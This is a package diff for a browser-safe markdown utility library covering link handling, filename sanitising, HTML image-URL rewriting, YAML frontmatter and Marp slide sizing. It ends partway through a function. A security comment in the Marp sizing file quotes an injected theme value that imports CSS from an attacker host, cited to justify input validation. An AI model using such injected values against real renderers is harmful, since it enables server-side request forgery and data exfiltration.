@mulmoclaude/markdown-utils 1.0.0

package/README.md

@@ -0,0 +1,3 @@
+# @mulmoclaude/markdown-utils
+
+Browser-safe markdown / image rendering utilities shared by the MulmoClaude host and the markdown plugin.

package/dist/dom/externalLink.d.ts

@@ -0,0 +1,2 @@
+export declare function isCrossOriginHttpUrl(href: string, currentOrigin: string): boolean;
+export declare function handleExternalLinkClick(event: MouseEvent): boolean;

package/dist/dom/externalLink.js

@@ -0,0 +1,61 @@
+// Click handler for rendered markdown / HTML bodies that opens
+// external (cross-origin) http(s) links in a new tab instead of
+// navigating the SPA away from itself.
+//
+// Split into a pure predicate (`isCrossOriginHttpUrl`) that's
+// exhaustively unit-tested, and a thin DOM wrapper
+// (`handleExternalLinkClick`) that reads the click event. Callers
+// invoke the wrapper from their own `@click` handler and check the
+// return value to decide whether to fall through to plugin-specific
+// navigation.
+// Pure predicate: is `href` an absolute http(s) URL pointing at an
+// origin different from `currentOrigin`? Used by
+// `handleExternalLinkClick` below, and directly by tests.
+//
+// Returns `false` for:
+//   - non-http schemes (mailto:, tel:, javascript:, file: …) — the
+//     browser's default behaviour is appropriate for those
+//   - same-origin URLs (including hash anchors resolved against the
+//     current page, which `anchor.href` normalises to a full URL)
+//   - malformed input that `URL` can't parse
+export function isCrossOriginHttpUrl(href, currentOrigin) {
+    if (!href.startsWith("http://") && !href.startsWith("https://")) {
+        return false;
+    }
+    try {
+        return new URL(href).origin !== currentOrigin;
+    }
+    catch {
+        return false;
+    }
+}
+// DOM click handler. Invoke from a view's `@click` listener on a
+// rendered-markdown container. If the event targets an external
+// http(s) link, the default navigation is cancelled and the link
+// opens in a new tab with `noopener,noreferrer`; returns `true` so
+// the caller knows the click was consumed. Returns `false` for
+// every other case (not an anchor, internal link, modifier-key
+// click, non-left-button, …) so the caller can continue with its
+// own plugin-specific click handling (e.g. wiki internal links).
+export function handleExternalLinkClick(event) {
+    if (event.button !== 0)
+        return false;
+    if (event.ctrlKey || event.metaKey || event.shiftKey)
+        return false;
+    const target = event.target;
+    if (!target)
+        return false;
+    const anchor = target.closest("a");
+    if (!anchor)
+        return false;
+    // `.href` (DOM property) is always a fully-resolved URL; contrast
+    // `getAttribute("href")` which returns the raw attribute string.
+    // Using the resolved form gives us reliable origin checks and
+    // normalises relative paths away.
+    const url = anchor.href;
+    if (!isCrossOriginHttpUrl(url, window.location.origin))
+        return false;
+    event.preventDefault();
+    window.open(url, "_blank", "noopener,noreferrer");
+    return true;
+}

package/dist/files/filename.d.ts

@@ -0,0 +1,7 @@
+export declare function toSafeFilename(name: string, fallback?: string): string;
+export declare function formatLocalDate(timestampMs: number): string;
+export declare function buildPdfFilename(opts: {
+    name: string | null | undefined;
+    fallback: string;
+    timestampMs?: number;
+}): string;

package/dist/files/filename.js

@@ -0,0 +1,33 @@
+// Strip filesystem-hostile chars from a string so it can safely be used
+// as a browser download filename across Windows / macOS / Linux. Not a
+// full slugifier — server-side slugification lives in
+// `server/utils/slug.ts` and is applied before data hits the client.
+// This helper is the last-line defensive escape for plugin views that
+// build a download filename from arbitrary title text.
+const UNSAFE_FILENAME_CHARS = /[/\\:*?"<>|]/g;
+export function toSafeFilename(name, fallback = "download") {
+    const cleaned = name.replace(UNSAFE_FILENAME_CHARS, "_").trim();
+    return cleaned || fallback;
+}
+// Format a millisecond timestamp as YYYY-MM-DD in the user's local
+// timezone. Used by buildPdfFilename so the date suffix matches the
+// user's wall clock — not UTC, which can confuse users near midnight
+// in non-UTC zones.
+export function formatLocalDate(timestampMs) {
+    const date = new Date(timestampMs);
+    const year = date.getFullYear();
+    const month = String(date.getMonth() + 1).padStart(2, "0");
+    const day = String(date.getDate()).padStart(2, "0");
+    return `${year}-${month}-${day}`;
+}
+// Build a PDF download filename of the form `name-YYYY-MM-DD.pdf`.
+// The `name` is sanitized via toSafeFilename and falls back to
+// `fallback` when empty / nullish. `timestampMs` defaults to now —
+// callers pass the result's creation timestamp when available so the
+// date reflects when the content was produced, not when the user
+// clicked download.
+export function buildPdfFilename(opts) {
+    const safe = toSafeFilename(opts.name ?? "", opts.fallback);
+    const date = formatLocalDate(opts.timestampMs ?? Date.now());
+    return `${safe}-${date}.pdf`;
+}

package/dist/image/cacheBust.d.ts

@@ -0,0 +1,2 @@
+export declare function getImageBump(imagePath: string): number;
+export declare function bumpImage(imagePath: string): void;

package/dist/image/cacheBust.js

@@ -0,0 +1,13 @@
+import { reactive } from "vue";
+// Keyed by workspace-relative image path (e.g. "artifacts/images/abc.png").
+// `resolveImageSrc` reads this to append `?v=<bump>` to the URL so consumers
+// (View, Preview) re-fetch when the file on disk has been overwritten in
+// place. The canvas plugin is the current producer — it bumps after each
+// autosave PUT.
+const imageBumps = reactive({});
+export function getImageBump(imagePath) {
+    return imageBumps[imagePath] ?? 0;
+}
+export function bumpImage(imagePath) {
+    imageBumps[imagePath] = Date.now();
+}

package/dist/image/htmlSrcAttrs.d.ts

@@ -0,0 +1,21 @@
+export declare const RESOLVABLE_TAG_ATTRS: Readonly<Record<string, readonly string[]>>;
+export declare const SRCSET_TAG_ATTRS: Readonly<Record<string, readonly string[]>>;
+export declare function rewriteSrcset(value: string, transform: (url: string) => string | null): string;
+/** Transform every URL-bearing attribute on a recognised tag.
+ *
+ *  `transform` is invoked once per matching attribute value. Return:
+ *    - `string` to substitute the value (callee is responsible for
+ *      not breaking out of the surrounding quotes — most callers
+ *      route through `encodeURIComponent` or a fixed-prefix path)
+ *    - `null` to leave the attribute untouched (e.g. external URL,
+ *      `data:` URI, escape-the-workspace path)
+ *
+ *  Other attributes (alt, class, style, …) and `src=`-shaped text
+ *  inside their quoted values are preserved verbatim because we
+ *  parse attribute-by-attribute, not by free-form regex.
+ *
+ *  Recognised tags + attributes live in `RESOLVABLE_TAG_ATTRS`. Any
+ *  tag whose name isn't in the map is returned untouched. Any
+ *  attribute on a recognised tag whose name isn't in the map's entry
+ *  is also untouched. */
+export declare function transformResolvableUrlsInHtml(html: string, transform: (url: string) => string | null): string;

package/dist/image/htmlSrcAttrs.js

@@ -0,0 +1,211 @@
+// Shared HTML-tag URL rewriter — used by:
+//   - browser markdown surface (`rewriteImgSrcAttrsInHtml` in
+//     `rewriteMarkdownImageRefs.ts`) → rewrites to
+//     `/api/files/raw?path=...`
+//   - server PDF surface (`inlineImages` in
+//     `server/api/routes/pdf.ts`) → rewrites to `data:` URIs
+//
+// Both used to keep their own copy of the same regex shape with a
+// `// Mirrors the shape used by …` comment. That mirroring drifts the
+// moment one side adds a tag (`<source>`, `<video poster>`) and the
+// other doesn't. Single helper here, two callers, one tag list — the
+// drift becomes structurally impossible (#1011 Stage B).
+//
+// `srcset` is handled by a dedicated split/rewrite pass (it's a
+// comma-separated `url descriptor` list, not a single URL) — see
+// `SRCSET_TAG_ATTRS` + `rewriteSrcset` below. SVG `<image href>` /
+// CSS `url()` remain out of scope — see the deferred-list comment
+// on `RESOLVABLE_TAG_ATTRS` below.
+// Tag (lowercased) → URL-bearing attribute(s). Adding a row here
+// extends both Markdown and PDF surfaces simultaneously.
+//
+// Deferred (NOT here):
+//   - SVG `<image href>` — gap table item #9, low priority per plan
+//     §修正提案 P3-A.
+//   - CSS `url()` in `style=` attributes — gap table item #8, same
+//     priority.
+export const RESOLVABLE_TAG_ATTRS = {
+    img: ["src"],
+    source: ["src"],
+    video: ["poster", "src"],
+    audio: ["src"],
+};
+// `srcset`-bearing attributes (comma-separated `url descriptor`
+// list). Parsed/rewritten by `rewriteSrcset`, NOT the single-URL
+// path. Tag set is a subset of `RESOLVABLE_TAG_ATTRS`'s keys so the
+// outer tag regex already matches them — no alternation change
+// needed (#1275, deferred from #1011 Stage B).
+export const SRCSET_TAG_ATTRS = {
+    img: ["srcset"],
+    source: ["srcset"],
+};
+function isSrcsetWs(char) {
+    return char === " " || char === "\t" || char === "\n" || char === "\f" || char === "\r";
+}
+function stripTrailingCommas(token) {
+    let end = token.length;
+    while (end > 0 && token[end - 1] === ",")
+        end--;
+    return token.slice(0, end);
+}
+function skipWsAndCommas(input, from) {
+    let pos = from;
+    while (pos < input.length && (isSrcsetWs(input[pos]) || input[pos] === ","))
+        pos++;
+    return pos;
+}
+// Read one `{ url, descriptor }` candidate starting at `from`.
+// Returns the candidate (or null when only whitespace remained) and
+// the position to resume from.
+function readCandidate(input, from) {
+    let pos = from;
+    const urlStart = pos;
+    while (pos < input.length && !isSrcsetWs(input[pos]))
+        pos++;
+    const rawUrl = input.slice(urlStart, pos);
+    const url = stripTrailingCommas(rawUrl);
+    if (url.length !== rawUrl.length) {
+        // Trailing comma(s) on the URL run → candidate separator, no
+        // descriptor. (`data:` internal commas are not trailing, so
+        // they stay part of the URL.)
+        return { candidate: url ? { url, descriptor: "" } : null, next: pos };
+    }
+    while (pos < input.length && isSrcsetWs(input[pos]))
+        pos++;
+    const descStart = pos;
+    while (pos < input.length && input[pos] !== ",")
+        pos++;
+    const descriptor = input.slice(descStart, pos).trim();
+    if (pos < input.length && input[pos] === ",")
+        pos++;
+    return { candidate: url ? { url, descriptor } : null, next: pos };
+}
+// Split a `srcset` value into candidates per the WHATWG "parse a
+// srcset attribute" boundary rules. A naive `split(",")` corrupts
+// `data:` URIs (their base64 payload contains commas); the spec
+// collects the URL as a run of non-whitespace and treats only
+// *trailing* commas on that run as separators (Codex review). Pure
+// scan, no regex → ReDoS-safe.
+function splitSrcsetCandidates(input) {
+    const candidates = [];
+    let pos = 0;
+    while (pos < input.length) {
+        pos = skipWsAndCommas(input, pos);
+        if (pos >= input.length)
+            break;
+        const { candidate, next } = readCandidate(input, pos);
+        pos = next;
+        if (candidate)
+            candidates.push(candidate);
+    }
+    return candidates;
+}
+// Rewrite the URL portion of every candidate in a `srcset` value,
+// preserving descriptors (`1x` / `2x` / `480w`). If no candidate's
+// URL is actually changed (every `transform` returned `null` or the
+// same string), the ORIGINAL value is returned byte-verbatim so a
+// no-op never normalises the author's whitespace (CodeRabbit
+// review). Boundary parsing is `data:`-URI-safe (see
+// `splitSrcsetCandidates`).
+export function rewriteSrcset(value, transform) {
+    const candidates = splitSrcsetCandidates(value);
+    if (candidates.length === 0)
+        return value;
+    let changed = false;
+    const rendered = candidates.map(({ url, descriptor }) => {
+        const replaced = transform(url);
+        const finalUrl = replaced === null || replaced === url ? url : ((changed = true), replaced);
+        return descriptor ? `${finalUrl} ${descriptor}` : finalUrl;
+    });
+    return changed ? rendered.join(", ") : value;
+}
+// Outer regex: scan any tag whose name appears in `RESOLVABLE_TAG_ATTRS`,
+// respecting quoted attribute values so `>` inside e.g. `alt="x>y"`
+// doesn't terminate the tag early. The body is one of:
+//   - any non-`>` non-quote char     `[^>"']`
+//   - a complete double-quoted span  `"[^"]*"`
+//   - a complete single-quoted span  `'[^']*'`
+// All branches bounded — no nested quantifiers, no overlap.
+//
+// The tag-name alternation is hand-listed rather than computed from
+// `Object.keys(RESOLVABLE_TAG_ATTRS)` so the regex is a const string
+// (lint-friendly) and the alternation order matches the readable
+// declaration order. Adding a tag means: update the map AND the
+// alternation here. The unit test in test_htmlSrcAttrs.ts pins this
+// in lockstep so the two never disagree silently.
+//
+// eslint-disable-next-line security/detect-unsafe-regex -- bounded alternatives, ReDoS-safe (test in test_htmlSrcAttrs.ts)
+const RESOLVABLE_TAG_OUTER_RE = /<(?:img|source|video|audio)\b(?:[^>"']|"[^"]*"|'[^']*')*\/?>/gi;
+// Tag-name extractor for the matched outer tag. Anchored so we only
+// read the leading `<name`, never an attribute value that happens to
+// look like a tag.
+const TAG_NAME_RE = /^<([a-z]+)/i;
+// Attribute iterator: walks each `name=value` pair inside a tag. The
+// leading `\s+` ensures we only match real attribute boundaries, not
+// `src=` text embedded inside another attribute's quoted value.
+// Capture groups:
+//   1: leading whitespace
+//   2: attribute name
+//   3: `=` with surrounding spaces (only when value present)
+//   4: full quoted/unquoted value (unused but captured for clarity)
+//   5: double-quoted value (without quotes)
+//   6: single-quoted value (without quotes)
+//   7: unquoted value — refuses leading `"` / `'` so a malformed
+//      `<img src="aaaa` (no closing quote) doesn't capture the stray
+//      quote as the value
+//
+// All quantifiers bounded — verified ReDoS-safe in test_htmlSrcAttrs.ts.
+// eslint-disable-next-line sonarjs/super-linear-regex, sonarjs/regex-complexity, security/detect-unsafe-regex -- bounded quantifiers, ReDoS-safe (test in test_htmlSrcAttrs.ts)
+const ATTR_ITER_RE = /(\s+)([A-Za-z][\w:-]*)(?:(\s*=\s*)("([^"]*)"|'([^']*)'|([^\s>"'][^\s>]*)))?/g;
+/** Transform every URL-bearing attribute on a recognised tag.
+ *
+ *  `transform` is invoked once per matching attribute value. Return:
+ *    - `string` to substitute the value (callee is responsible for
+ *      not breaking out of the surrounding quotes — most callers
+ *      route through `encodeURIComponent` or a fixed-prefix path)
+ *    - `null` to leave the attribute untouched (e.g. external URL,
+ *      `data:` URI, escape-the-workspace path)
+ *
+ *  Other attributes (alt, class, style, …) and `src=`-shaped text
+ *  inside their quoted values are preserved verbatim because we
+ *  parse attribute-by-attribute, not by free-form regex.
+ *
+ *  Recognised tags + attributes live in `RESOLVABLE_TAG_ATTRS`. Any
+ *  tag whose name isn't in the map is returned untouched. Any
+ *  attribute on a recognised tag whose name isn't in the map's entry
+ *  is also untouched. */
+export function transformResolvableUrlsInHtml(html, transform) {
+    if (!html)
+        return html;
+    return html.replace(RESOLVABLE_TAG_OUTER_RE, (tag) => {
+        const tagNameMatch = TAG_NAME_RE.exec(tag);
+        if (!tagNameMatch)
+            return tag;
+        const tagName = tagNameMatch[1].toLowerCase();
+        const resolvableAttrs = RESOLVABLE_TAG_ATTRS[tagName];
+        const srcsetAttrs = SRCSET_TAG_ATTRS[tagName];
+        if (!resolvableAttrs && !srcsetAttrs)
+            return tag;
+        return tag.replace(ATTR_ITER_RE, (...captures) => replaceAttrIfResolvable(captures, resolvableAttrs ?? [], srcsetAttrs ?? [], transform));
+    });
+}
+function replaceAttrIfResolvable(captures, resolvableAttrs, srcsetAttrs, transform) {
+    const [full, leading, name, eqWithSpaces, , doubleQuoted, singleQuoted, bare] = captures;
+    if (!eqWithSpaces)
+        return full;
+    const lowerName = name.toLowerCase();
+    const isSrcset = srcsetAttrs.includes(lowerName);
+    if (!isSrcset && !resolvableAttrs.includes(lowerName))
+        return full;
+    const value = (doubleQuoted ?? singleQuoted ?? bare ?? "").trim();
+    if (!value)
+        return full;
+    const replacement = isSrcset ? rewriteSrcset(value, transform) : transform(value);
+    // Single-URL: null means "leave verbatim". srcset: rewriteSrcset
+    // always returns a string (per-candidate nulls handled inside),
+    // and a no-op rewrite equal to the original is also left verbatim.
+    if (replacement === null || replacement === value)
+        return full;
+    const quote = doubleQuoted !== undefined ? '"' : singleQuoted !== undefined ? "'" : '"';
+    return `${leading}${name}${eqWithSpaces}${quote}${replacement}${quote}`;
+}

package/dist/index.d.ts

@@ -0,0 +1,10 @@
+export * from "./markdown/frontmatter.js";
+export * from "./markdown/extractFirstH1.js";
+export * from "./markdown/marpDetect.js";
+export * from "./markdown/marpTheme.js";
+export * from "./markdown/marpCustomSize.js";
+export * from "./markdown/taskList.js";
+export * from "./image/cacheBust.js";
+export * from "./image/htmlSrcAttrs.js";
+export * from "./dom/externalLink.js";
+export * from "./files/filename.js";

package/dist/index.js

@@ -0,0 +1,10 @@
+export * from "./markdown/frontmatter.js";
+export * from "./markdown/extractFirstH1.js";
+export * from "./markdown/marpDetect.js";
+export * from "./markdown/marpTheme.js";
+export * from "./markdown/marpCustomSize.js";
+export * from "./markdown/taskList.js";
+export * from "./image/cacheBust.js";
+export * from "./image/htmlSrcAttrs.js";
+export * from "./dom/externalLink.js";
+export * from "./files/filename.js";

package/dist/markdown/extractFirstH1.d.ts

@@ -0,0 +1,10 @@
+/**
+ * Return the trimmed text of the first H1 line, or null if none
+ * exists. An H1 is a line that starts with `#` followed by at
+ * least one whitespace char (space or tab) and at least one
+ * non-whitespace content char. `##` and deeper headings are
+ * skipped. Lines are separated by `\n`, `\r`, or `\r\n` —
+ * mirroring the old regex's `m`-flag `$` anchor which stops at
+ * either CR or LF.
+ */
+export declare function extractFirstH1(markdown: string): string | null;

package/dist/markdown/extractFirstH1.js

@@ -0,0 +1,39 @@
+// Extract the first ATX-style H1 heading (`# title`) from a
+// markdown string. Used by both:
+//   - server/journal/index.ts (topic row labels)
+//   - src/plugins/markdown/Preview.vue (document title)
+//
+// Implemented as a line walker rather than a regex so it avoids
+// the backtracking risk that trips `sonarjs/slow-regex`. The
+// accepted heading grammar matches the plugin's old regex
+// `/^#\s+(.+)$/m`: `#`, at least one inline whitespace char, then
+// non-empty content.
+/**
+ * Return the trimmed text of the first H1 line, or null if none
+ * exists. An H1 is a line that starts with `#` followed by at
+ * least one whitespace char (space or tab) and at least one
+ * non-whitespace content char. `##` and deeper headings are
+ * skipped. Lines are separated by `\n`, `\r`, or `\r\n` —
+ * mirroring the old regex's `m`-flag `$` anchor which stops at
+ * either CR or LF.
+ */
+export function extractFirstH1(markdown) {
+    for (const line of splitLines(markdown)) {
+        if (line.length < 2 || line[0] !== "#")
+            continue;
+        // Second char must be inline whitespace, not another `#`.
+        // That's what excludes `## H2` / `### H3` / etc.
+        if (!isInlineSpace(line.charCodeAt(1)))
+            continue;
+        const text = line.slice(2).trim();
+        if (text.length > 0)
+            return text;
+    }
+    return null;
+}
+function splitLines(str) {
+    return str.split(/\r\n|\r|\n/);
+}
+function isInlineSpace(code) {
+    return code === 0x20 || code === 0x09; // space or tab
+}

package/dist/markdown/frontmatter.d.ts

@@ -0,0 +1,39 @@
+export interface ParsedMarkdown {
+    /** Parsed YAML object. Empty `{}` when the document has no
+     *  frontmatter or the YAML failed to parse. Insertion order
+     *  matches the source — `Object.entries(meta)` is the right way
+     *  to iterate for an ordered properties panel. */
+    meta: Record<string, unknown>;
+    /** Body after stripping the frontmatter envelope. Trailing
+     *  newline at the end of the closing `---` line is consumed; a
+     *  no-frontmatter document returns the raw input verbatim. */
+    body: string;
+    /** True iff a well-formed `---\n...\n---\n` envelope was
+     *  detected and parsed. False for documents without an envelope
+     *  or where the envelope is malformed (in which case the body
+     *  is returned verbatim and `meta` is `{}`). */
+    hasHeader: boolean;
+}
+/** Parse a markdown document, splitting frontmatter from body.
+ *  Always returns an object — never throws. Malformed YAML inside
+ *  a well-formed envelope falls back to `{ meta: {}, hasHeader: false }`
+ *  so a typo in the header doesn't break rendering. */
+export declare function parseFrontmatter(raw: string): ParsedMarkdown;
+/** Serialize a meta object + body back into the canonical
+ *  `---\n...\n---\n\nbody` shape. An empty `meta` returns the body
+ *  alone (no envelope) — the lazy-on-write contract: don't add
+ *  ceremony to documents that don't have anything to record.
+ *
+ *  Round-trip semantics: VALUE-preserving, NOT byte-preserving.
+ *  `js-yaml` adds quotes to ambiguous scalars (`'1.20'`, `'true'`)
+ *  so they parse back as the same string under FAILSAFE_SCHEMA.
+ *  Source-text formatting (unquoted vs quoted) may change on save
+ *  but the parsed value is stable across rounds (codex review
+ *  iter-2 #902). */
+export declare function serializeWithFrontmatter(meta: Record<string, unknown>, body: string): string;
+/** Merge a patch into an existing meta object. Unknown keys in
+ *  `existing` are preserved verbatim; keys present in `patch`
+ *  overwrite. A `null` or `undefined` patch value DELETES the key
+ *  (pattern borrowed from REST PATCH semantics) — callers that
+ *  want "leave alone" should omit the key entirely. */
+export declare function mergeFrontmatter(existing: Record<string, unknown>, patch: Record<string, unknown>): Record<string, unknown>;

package/dist/markdown/frontmatter.js

@@ -0,0 +1,113 @@
+// Canonical YAML-frontmatter parser / serializer / merger for the
+// `---\nkey: value\n---\nbody` markdown convention. Used on the Vue
+// side; the server side has a mirror at
+// `server/utils/markdown/frontmatter.ts` (#895 PR B). The two share
+// the same shape but live in separate files because the build
+// targets are different (browser vs Node) and a shared package is
+// overkill for ~10 lines of glue.
+//
+// Implementation uses `js-yaml` so we get full YAML coverage (block
+// lists, multi-line strings, escaping) instead of the regex
+// approximation in the legacy `src/utils/format/frontmatter.ts`.
+import { FAILSAFE_SCHEMA, dump as yamlDump, load as yamlLoad } from "js-yaml";
+const FRONTMATTER_OPEN = /^---\r?\n/;
+// `(?:^|\r?\n)` lets the closing fence sit at the very start of
+// `afterOpen` — needed for the empty-envelope case `---\n---\n`
+// where the closing `---` is the first thing after the open is
+// stripped. Without the alternation the regex required a preceding
+// newline and silently treated empty headers as malformed.
+const FRONTMATTER_CLOSE = /(?:^|\r?\n)---\s*(?:\r?\n|$)/;
+/** Parse a markdown document, splitting frontmatter from body.
+ *  Always returns an object — never throws. Malformed YAML inside
+ *  a well-formed envelope falls back to `{ meta: {}, hasHeader: false }`
+ *  so a typo in the header doesn't break rendering. */
+export function parseFrontmatter(raw) {
+    if (!FRONTMATTER_OPEN.test(raw)) {
+        return { meta: {}, body: raw, hasHeader: false };
+    }
+    const afterOpen = raw.replace(FRONTMATTER_OPEN, "");
+    const closeMatch = FRONTMATTER_CLOSE.exec(afterOpen);
+    if (!closeMatch || closeMatch.index === undefined) {
+        return { meta: {}, body: raw, hasHeader: false };
+    }
+    const yamlText = afterOpen.slice(0, closeMatch.index);
+    const body = afterOpen.slice(closeMatch.index + closeMatch[0].length);
+    const meta = safeYamlLoad(yamlText);
+    if (meta === null) {
+        return { meta: {}, body: raw, hasHeader: false };
+    }
+    return { meta, body, hasHeader: true };
+}
+/** Serialize a meta object + body back into the canonical
+ *  `---\n...\n---\n\nbody` shape. An empty `meta` returns the body
+ *  alone (no envelope) — the lazy-on-write contract: don't add
+ *  ceremony to documents that don't have anything to record.
+ *
+ *  Round-trip semantics: VALUE-preserving, NOT byte-preserving.
+ *  `js-yaml` adds quotes to ambiguous scalars (`'1.20'`, `'true'`)
+ *  so they parse back as the same string under FAILSAFE_SCHEMA.
+ *  Source-text formatting (unquoted vs quoted) may change on save
+ *  but the parsed value is stable across rounds (codex review
+ *  iter-2 #902). */
+export function serializeWithFrontmatter(meta, body) {
+    if (Object.keys(meta).length === 0)
+        return body;
+    // `lineWidth: -1` disables auto-wrap so long URLs / titles stay on
+    // one line. `noRefs: true` avoids YAML anchor syntax (`&id001`)
+    // which is technically valid but visually noisy in plain-text
+    // markdown. js-yaml's default already trims a trailing newline.
+    const yamlText = yamlDump(meta, { lineWidth: -1, noRefs: true }).trimEnd();
+    return `---\n${yamlText}\n---\n\n${body}`;
+}
+/** Merge a patch into an existing meta object. Unknown keys in
+ *  `existing` are preserved verbatim; keys present in `patch`
+ *  overwrite. A `null` or `undefined` patch value DELETES the key
+ *  (pattern borrowed from REST PATCH semantics) — callers that
+ *  want "leave alone" should omit the key entirely. */
+export function mergeFrontmatter(existing, patch) {
+    const out = { ...existing };
+    for (const [key, value] of Object.entries(patch)) {
+        if (value === null || value === undefined) {
+            Reflect.deleteProperty(out, key);
+        }
+        else {
+            out[key] = value;
+        }
+    }
+    return out;
+}
+function safeYamlLoad(text) {
+    // js-yaml 5.x THROWS on empty / whitespace-only input where 4.x
+    // returned `undefined`. An empty frontmatter block (`---\n---\n`)
+    // means "no metadata, fine" to our callers, not "malformed", so
+    // pre-check the string and return `{}` before reaching the loader.
+    if (text.trim() === "")
+        return {};
+    try {
+        // `FAILSAFE_SCHEMA` keeps every scalar as a string and skips
+        // type coercion. Two motivating cases:
+        //
+        //   - YAML 1.1 dates: `created: 2026-04-27` would become a
+        //     `Date` object under CORE_SCHEMA, breaking round-trip.
+        //   - Numeric-looking strings: `version: 1.20` → number 1.2
+        //     under JSON_SCHEMA, dropping the trailing zero on save
+        //     (codex review iter-1 #902).
+        //
+        // For our domain — title / created / updated / tags / editor —
+        // everything that should be a string IS one, and the rare
+        // caller that wants a number can coerce explicitly. Mappings
+        // and sequences still parse normally (FAILSAFE keeps those).
+        const loaded = yamlLoad(text, { schema: FAILSAFE_SCHEMA });
+        // `yaml.load` may still return a primitive for scalar-only YAML
+        // (e.g. `"hello"` parses to the string `"hello"`). Only accept
+        // plain objects — anything else is a malformed header.
+        if (loaded === null || loaded === undefined)
+            return {};
+        if (typeof loaded !== "object" || Array.isArray(loaded))
+            return null;
+        return loaded;
+    }
+    catch {
+        return null;
+    }
+}

package/dist/markdown/marpCustomSize.d.ts

@@ -0,0 +1,15 @@
+interface MarpThemeSet {
+    add: (css: string) => void;
+}
+interface MarpLike {
+    themeSet: MarpThemeSet;
+}
+/**
+ * Intercept Marp's `size:` directive for values the built-in themes
+ * don't understand. When a custom size is detected, registers a
+ * composite theme on the Marp instance and returns markdown rewritten
+ * to use it. Pass-through for standard `16:9` / `4:3` (Marp handles
+ * them natively) and for documents that don't declare a size.
+ */
+export declare function applyCustomMarpSize(marp: MarpLike, markdown: string): string;
+export {};

package/dist/markdown/marpCustomSize.js

@@ -0,0 +1,102 @@
+// Bridge Marp's `size:` directive with canvas dimensions outside the
+// default theme's preset list. Marp 4.x's built-in `default` / `gaia`
+// / `uncover` themes only honour `size: 16:9` and `size: 4:3` — any
+// other value (numeric `1080x1920`, an aspect like `9:16` or
+// `16:10`, etc.) is silently dropped, leaving the slide canvas at
+// 1280×720 even though the user clearly wanted something else.
+//
+// We work around it by parsing the frontmatter ourselves, dynamically
+// registering a one-off composite theme (`@import "<userTheme>"; section
+// { width: Wpx; height: Hpx; }`) on the Marp instance, then rewriting
+// the frontmatter to point at the generated theme and drop the
+// unrecognised `size:` directive. The user keeps writing the natural
+// `size: 9:16` / `size: 1080x1920` shape; everything downstream
+// (preview iframe sizing, PDF page dimensions) reads the new viewBox
+// and Just Works.
+import { dump as yamlDump } from "js-yaml";
+import { parseFrontmatter } from "./frontmatter";
+// Sensible canvas defaults for the aspect-ratio shorthand. Picked at
+// 1080-line resolution so portrait/wide decks stay print-quality.
+const ASPECT_PRESETS = {
+    "9:16": [1080, 1920],
+    "16:10": [1280, 800],
+    "1:1": [1080, 1080],
+};
+// Require ≥3 digits to reject implausibly small canvases (e.g.
+// `0x0`, `10x10`) that would render unreadable slides.
+const NUMERIC_SIZE_RE = /^(\d{3,5})[xX](\d{3,5})$/;
+// Hard caps on the canvas dimensions we'll accept from the
+// frontmatter. Above these, a hostile / typo'd `size: 99999x99999`
+// would let marp-core emit a 99999×99999 SVG which then balloons
+// the preview iframe's pixel height (slideCount × ~100000) and
+// causes Chromium to OOM during PDF rendering. 3840 is "4K width",
+// which is well past anything an LLM-generated deck would
+// legitimately want.
+const MIN_CANVAS_PX = 200;
+const MAX_CANVAS_PX = 3840;
+// `meta.theme` arrives from frontmatter (user-controlled) and is
+// interpolated into the generated theme's `@import "<userTheme>"`
+// directive. Without validation, a value like
+//   theme: "default"; @import "https://evil.com/css"; /*
+// would inject extra `@import` directives, and on the server PDF
+// path (no CSP) Puppeteer would dutifully fetch the external CSS
+// during render — an exfiltration / SSRF vector. Restrict to plain
+// theme-name characters; anything else falls back to "default".
+const SAFE_THEME_NAME_RE = /^[A-Za-z0-9_-]+$/;
+function inBounds(dim) {
+    return Number.isFinite(dim) && dim >= MIN_CANVAS_PX && dim <= MAX_CANVAS_PX;
+}
+function parseCustomSize(value) {
+    const preset = ASPECT_PRESETS[value];
+    if (preset)
+        return { width: preset[0], height: preset[1] };
+    const match = NUMERIC_SIZE_RE.exec(value);
+    if (!match)
+        return null;
+    const width = Number(match[1]);
+    const height = Number(match[2]);
+    // Reject hostile / typo'd values past the canvas cap. Returning
+    // null falls through to Marp's own parser (which silently ignores
+    // unknown sizes), so the deck still renders at the default 1280×720
+    // instead of crashing Puppeteer.
+    if (!inBounds(width) || !inBounds(height))
+        return null;
+    return { width, height };
+}
+function serializeMarkdown(meta, body) {
+    const yamlText = yamlDump(meta, { lineWidth: -1, sortKeys: false }).trimEnd();
+    return `---\n${yamlText}\n---\n${body}`;
+}
+/**
+ * Intercept Marp's `size:` directive for values the built-in themes
+ * don't understand. When a custom size is detected, registers a
+ * composite theme on the Marp instance and returns markdown rewritten
+ * to use it. Pass-through for standard `16:9` / `4:3` (Marp handles
+ * them natively) and for documents that don't declare a size.
+ */
+export function applyCustomMarpSize(marp, markdown) {
+    const { meta, body, hasHeader } = parseFrontmatter(markdown);
+    if (!hasHeader)
+        return markdown;
+    const sizeValue = typeof meta.size === "string" ? meta.size.trim() : "";
+    if (sizeValue === "" || sizeValue === "16:9" || sizeValue === "4:3")
+        return markdown;
+    const dims = parseCustomSize(sizeValue);
+    if (!dims)
+        return markdown;
+    const rawTheme = typeof meta.theme === "string" ? meta.theme.trim() : "default";
+    // Drop hostile / non-identifier theme names down to "default"
+    // BEFORE building the generated theme name or its `@import` —
+    // otherwise quotes / `@import` tokens / CSS injection slip into
+    // the registered CSS and Puppeteer would fetch them.
+    const userTheme = SAFE_THEME_NAME_RE.test(rawTheme) ? rawTheme : "default";
+    // Avoid recursion if a previous render already swapped in a
+    // generated theme name — re-applying would compose-on-compose.
+    if (userTheme.startsWith("mc_size_"))
+        return markdown;
+    const themeName = `mc_size_${userTheme}_${dims.width}x${dims.height}`;
+    marp.themeSet.add(`/* @theme ${themeName} */\n@import "${userTheme}";\nsection { width: ${dims.width}px; height: ${dims.height}px; }`);
+    const newMeta = { ...meta, theme: themeName };
+    delete newMeta.size;
+    return serializeMarkdown(newMeta, body);
+}

package/dist/markdown/marpDetect.d.ts

@@ -0,0 +1 @@
+export declare function isMarpDocument(meta: Record<string, unknown>): boolean;

package/dist/markdown/marpDetect.js

@@ -0,0 +1,16 @@
+// Marp opt-in detection from parsed frontmatter. Marp's own convention
+// is the `marp: true` directive in the YAML header. We also accept the
+// string forms `"true"` / `"yes"` and the boolean-ish `1` so an LLM that
+// quoted the value still lands in slide mode.
+export function isMarpDocument(meta) {
+    const value = meta.marp;
+    if (value === true)
+        return true;
+    if (value === 1)
+        return true;
+    if (typeof value === "string") {
+        const normalized = value.trim().toLowerCase();
